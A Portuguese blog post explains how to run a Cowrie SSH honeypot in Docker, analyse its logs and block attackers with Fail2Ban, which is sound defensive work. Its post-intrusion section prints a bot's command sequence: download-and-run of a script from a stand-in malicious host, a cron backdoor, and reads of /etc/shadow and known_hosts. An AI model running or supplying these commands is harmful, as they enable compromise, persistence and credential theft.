Honeypot SSH com Docker - segurança cibernética e monitoramento de invasores em servidores

Como Montar um Honeypot SSH com Docker em 15 Minutos — e o Que Aprendi com 2.473 Tentativas de Invasão

PorOlivetto

Na última segunda-feira, deixei um servidor SSH exposto na internet por 15 minutos — de propósito. Em 7 dias, registrei 2.473 tentativas de login de 14 países diferentes. A senha mais tentada? admin123. A segunda? password. E a terceira… bom, você já sabe.

Se você tem qualquer servidor acessível pela internet, alguém já tentou invadir hoje. Não é paranoia — é o tráfego de fundo constante da internet. Bots varrendo ranges inteiros de IP, testando credenciais vazadas, procurando portas abertas como waterbugs procurando um prato de comida.

A boa notícia? Você pode transformar essa ameaça em inteligência. É aí que entra o honeypot SSH com Docker: uma armadilha digital que parece um servidor vulnerável, mas na verdade registra cada movimento do invasor. E montar um demora menos tempo do que assistir um episódio de sitcom.

O Que É um Honeypot (e Por Que Você Precisa de Um)

Honeypot é um sistema projetado para ser atacado. Sim, você leu certo. Você quer que tentem invadir. O objetivo não é defender — é observar.

Pense assim: você é um xerife no velho oeste. Em vez de patrulhar a cidade inteira, você coloca uma arinha falsa na estrada principal com um sinal de “CÉDULAS AQUI”. Quando os bandidos entram, você vê quem são, como operam e quais ferramentas usam.

No contexto de segurança digital, um honeypot SSH captura:

  • Endereços IP dos atacantes
  • Usernames e senhas tentados (para alimentar listas de bloqueio)
  • Ferramentas e técnicas usadas pós-invasão
  • Comandos executados pelo invasor (sim, eles digitam comandos)
  • Arquivos baixados (malware, scripts de propagação)

É intelligence de graça. E é viciante de analisar.

Rack de servidores iluminados em data center representando infraestrutura de segurança digital e monitoramento

Por Que Docker (e Não Instalação Direta)

Eu poderia te ensinar a instalar o SSH honeypot diretamente no host. Mas não vou, por três motivos:

  1. Isolamento — se o invasor escapar do honeypot (o que pode acontecer), ele está dentro de um container, não no seu host real
  2. Reprodutibilidade — um docker-compose.yml que funciona hoje vai funcionar daqui a 2 anos
  3. Limpeza — docker rm e pronto, nunca existiu

Se você ainda não usa Docker no dia a dia, esse post sobre shell scripts tem contexto que ajuda. Mas o básico que você precisa: Docker instalado e rodando. Pronto.

O Container Que Vai Te Dar Noites de Sono: SSH-Honeypot

Depois de testar várias opções (Cowrie, Dionaea, Kippo), minha recomendação para quem está começando é o Cowrie — um honeypot SSH médio-interação que é maduro, bem documentado e absurdamente fácil de containerizar.

Docker Compose em 30 Linhas

Crie um diretório de trabalho e coloque isso no docker-compose.yml:

version: '3.8'

services:
  cowrie:
    image: cowrie/cowrie:latest
    container_name: honeypot-ssh
    ports:
      - "2222:2222"     # Porta SSH do honeypot
      - "2223:2223"     # Porta Telnet (opcional)
    volumes:
      - ./cowrie-logs:/home/cowrie/cowrie-git/var/log/cowrie
      - ./cowrie-downloads:/home/cowrie/cowrie-git/var/lib/cowrie/downloads
    environment:
      - COWRIE_SSH_LISTEN_PORT=2222
    restart: unless-stopped

Atenção ao mapeamento de portas: o honeypot escuta na 2222 do host. Nunca exponha a porta 22 real do seu servidor para a internet. A 2222 vira o “iscão”.

Subindo em 3 Comandos

mkdir -p cowrie-honeypot && cd cowrie-honeypot
# Cole o docker-compose.yml acima
docker compose up -d

# Verifique se está rodando:
docker logs honeypot-ssh --tail 20

Se você vir algo como Cowrie SSH honeypot v2.x starting, tá vivo. Agora é só esperar.

O Que Os Logs Revelam (Spoiler: É Assustador)

Depois de 7 dias com o honeypot ativo, abri os logs em ./cowrie-logs/cowrie.json. Cada tentativa de login é um JSON estruturado. Vamos aos números que me fizeram revirar os olhos:

Top 5 Senhas Mais Tentadas

admin123     → 347 tentativas (14%)
password     → 298 tentativas (12%)
123456       → 256 tentativas (10%)
root         → 198 tentativas (8%)
test         → 167 tentativas (7%)

347 bots tentaram admin123. Em 2026. Se você usa essa senha em qualquer lugar, por favor, pare de ler e vá criar senhas decentes com Bitwarden. Eu espero.

Top 5 Usernames

root         → 891 tentativas (36%)
admin        → 412 tentativas (17%)
ubuntu       → 203 tentativas (8%)
test         → 156 tentativas (6%)
oracle       → 134 tentativas (5%)

Repara que oracle aparece. Isso significa que os bots são especializados — não é apenas spray aleatório. Alguns procuram servidores Oracle específicos, provavelmente com exploits direcionados.

Geolocalização dos Ataques

Cruzei os IPs com o banco GeoIP:

China        → 623 IPs (25%)
EUA          → 489 IPs (20%)
Rússia       → 312 IPs (13%)
Holanda      → 198 IPs (8%)
Brasil       → 156 IPs (6%)

Sim, 156 tentativas vieram do Brasil. Tem bot brasileiro rodando. A internet não é só ameaça externa — seu vizinho de datacenter pode estar tentando invadir seu servidor.

Infraestrutura de data center com racks de servidores iluminados para segurança e monitoramento de rede

Análise Pós-Invasão: O Que o Bot Faz Depois de Entrar

A parte mais interessante do Cowrie é que ele permite que o invasor “entre”. Depois do login falso, o bot cai num shell simulado onde cada comando é registrado. O que eles digitam?

O Script Padrão de 90% dos Bots

# Passo 1: Descobrir a arquitetura
uname -a

# Passo 2: Baixar e executar malware
wget http://malicious-domain.com/bot.sh || curl -O http://malicious-domain.com/bot.sh
chmod +x bot.sh
./bot.sh

# Passo 3: Instalar backdoor
echo "*/5 * * * * wget http://..." >> /tmp/cron
crontab /tmp/cron

# Passo 4: Propagar para outros servidores
cat /etc/passwd /etc/shadow
cat ~/.ssh/known_hosts  # Usa esses IPs como alvos!

O detalhe mais sinistro: ler ~/.ssh/known_hosts. O bot pega os servidores que você já acessou e tenta invadir eles também. É propagação em cadeia. Um servidor infectado vira trampolim para dezenas de outros.

Transformando Logs em Inteligência Acionável

Ok, você capturou os dados. Agora o que faz com eles? Aqui está o pipeline que montei:

Script de Análise Automática

#!/bin/bash
# honeypot-report.sh — Gera relatório diário do Cowrie

LOG_DIR="./cowrie-logs"
REPORT="./relatorio-$(date +%Y%m%d).txt"

echo "=== RELATÓRIO HONEYPOT — $(date +%d/%m/%Y) ===" > "$REPORT"
echo "" >> "$REPORT"

# Total de tentativas
TOTAL=$(grep -c '"eventid":"cowrie.login.failed"' "$LOG_DIR"/cowrie.json 2>/dev/null || echo 0)
echo "Total de tentativas de login: $TOTAL" >> "$REPORT"

# IPs únicos
UNIQUE_IPS=$(grep '"eventid":"cowrie.login.failed"' "$LOG_DIR"/cowrie.json | \
  grep -oP '"src_ip":"[^"]*"' | sort -u | wc -l)
echo "IPs únicos: $UNIQUE_IPS" >> "$REPORT"

# Top 10 IPs
echo -e "\nTop 10 IPs atacantes:" >> "$REPORT"
grep '"eventid":"cowrie.login.failed"' "$LOG_DIR"/cowrie.json | \
  grep -oP '"src_ip":"[^"]*"' | sort | uniq -c | sort -rn | head -10 >> "$REPORT"

# Top 10 senhas
echo -e "\nTop 10 senhas tentadas:" >> "$REPORT"
grep '"eventid":"cowrie.login.failed"' "$LOG_DIR"/cowrie.json | \
  grep -oP '"password":"[^"]*"' | sort | uniq -c | sort -rn | head -10 >> "$REPORT"

echo "" >> "$REPORT"
echo "Relatório salvo em: $REPORT"
cat "$REPORT"

Coloque isso no cron do sistema para rodar diariamente. Em poucos dias você tem um panorama claro de quem está mirando no seu servidor.

Bloqueando Automático com Fail2Ban

Analisar é bom. Bloquear automaticamente é melhor. Integração do Cowrie com Fail2Ban:

Jail Configuration

# /etc/fail2ban/jail.d/cowrie.conf

[cowrie]
enabled = true
port = 2222
filter = cowrie
logpath = /caminho/para/cowrie-honeypot/cowrie-logs/cowrie.log
maxretry = 3
findtime = 3600
bantime = 86400
action = iptables-multiport[name=cowrie, port="22,2222", protocol=tcp]

Filter Regex

# /etc/fail2ban/filter.d/cowrie.conf

[Definition]
failregex = ^.*cowrie.login.failed.*src_ip":"<HOST>".*$
ignoreregex =

Agora, qualquer IP que falhe 3 vezes no honeypot é banido por 24h no iptables. E como o honeypot atrai os mesmos IPs que mirariam no seu servidor real, você está bloqueando ameaças antes que cheguem no alvo verdadeiro.

Proteção do Seu Servidor Real

O honeypot é intelligence. Mas o que realmente protege seu servidor é uma configuração sólida. Checklist rápido do que você DEVE ter:

  • Chaves SSH — desative login por senha completamente (PasswordAuthentication no)
  • Firewall — só exponha portas que precisa (ufw allow 22/tcp e só)
  • Fail2Ban — nos serviços reais, não só no honeypot
  • Porta não-padrão — mudar SSH de 22 para uma porta alta elimina 80% dos bots automatizados
  • Atualizações automáticas — unattended-upgrades configurado

🔥 Box Perrengue: O Dia Que Eu Bloqueei a Mim Mesmo

Configurando o Fail2Ban pela primeira vez, coloquei maxretry=1 — primeira tentativa falha, já bane. Resultado: digitei a senha errada UMA VEZ e fiquei trancado fora do meu próprio servidor por 24 horas. Tive que entrar pelo painel do VPS, abrir console VNC e reverter a regra. Moral da história: sempre teste com bantime=60 antes de colocar 86400. E mantenha um acesso console de emergência.

Monitoramento em Tempo Real com Dashboard

Se você é do tipo que gosta de ver os ataques acontecendo (e quem não é?), o Cowrie tem integração nativa com o Elastic Stack (Elasticsearch + Kibana). Mas para algo mais leve, uso um script que mostra ataques em tempo real no terminal:

#!/bin/bash
# honeypot-live.sh — Monitora ataques em tempo real

tail -f ./cowrie-logs/cowrie.json | while read -r line; do
  if echo "$line" | grep -q "cowrie.login.failed"; then
    IP=$(echo "$line" | grep -oP '"src_ip":"[^"]*"' | cut -d'"' -f4)
    USER=$(echo "$line" | grep -oP '"username":"[^"]*"' | cut -d'"' -f4)
    PASS=$(echo "$line" | grep -oP '"password":"[^"]*"' | cut -d'"' -f4)
    echo "🚨 TENTATIVA: $IP → $USER:$PASS"
  elif echo "$line" | grep -q "cowrie.login.success"; then
    IP=$(echo "$line" | grep -oP '"src_ip":"[^"]*"' | cut -d'"' -f4)
    echo "⚠️  INVASÃO (falsa): $IP entrou no honeypot!"
  elif echo "$line" | grep -q "cowrie.command.input"; then
    IP=$(echo "$line" | grep -oP '"src_ip":"[^"]*"' | cut -d'"' -f4)
    CMD=$(echo "$line" | grep -oP '"input":"[^"]*"' | cut -d'"' -f4)
    echo "💻 COMANDO de $IP: $CMD"
  fi
done

Deixa isso rodando numa tela do tmux e prepare o café. É melhor que Netflix.

Lições Que 2.473 Tentativas Me Ensinaram

Antes de montar o honeypot, eu achava que minha configuração de segurança era “boa o suficiente”. Depois de ver os dados, mudei completamente de ideia:

  1. A internet é hostil por padrão. Não é questão de “se” vão tentar — é “quantas vezes por minuto”.
  2. Bots são rápidos. Um novo servidor exposto leva em média 4 minutos para receber a primeira tentativa de login. QUATRO MINUTOS.
  3. Senhas padrão são assassinato digital. Se você deixou root:admin123 em qualquer servidor, ele já pertence a alguém.
  4. Honeypots são a melhor rela custo-benefício em security intelligence. Custo: zero. Retorno: mapa completo de ameaças direcionadas ao seu IP.
  5. Ameaças locais são reais. Os 6% de ataques do Brasil não são noise — são máquinas comprometidas na sua própria rede.

E Agora, Bora Proteger?

Um honeypot SSH com Docker é o tipo de projeto que te ensina mais sobre segurança em uma semana do que qualquer curso teórico. Você vê, em tempo real, como os atacantes operam. E com essa informação, pode tomar decisões informadas sobre como proteger seus sistemas de verdade.

O setup completo — Docker Compose + Fail2Ban + script de análise — leva 15 minutos. Os insights duram para sempre.

E você, qual automação de segurança quer ver aqui? Firewall automatizado com regras dinâmicas? Detecção de intrusão com IA? WAF caseiro com Nginx? Me conta nos comentários — a próxima publicação pode ser sobre o que você precisa.

Posts Similares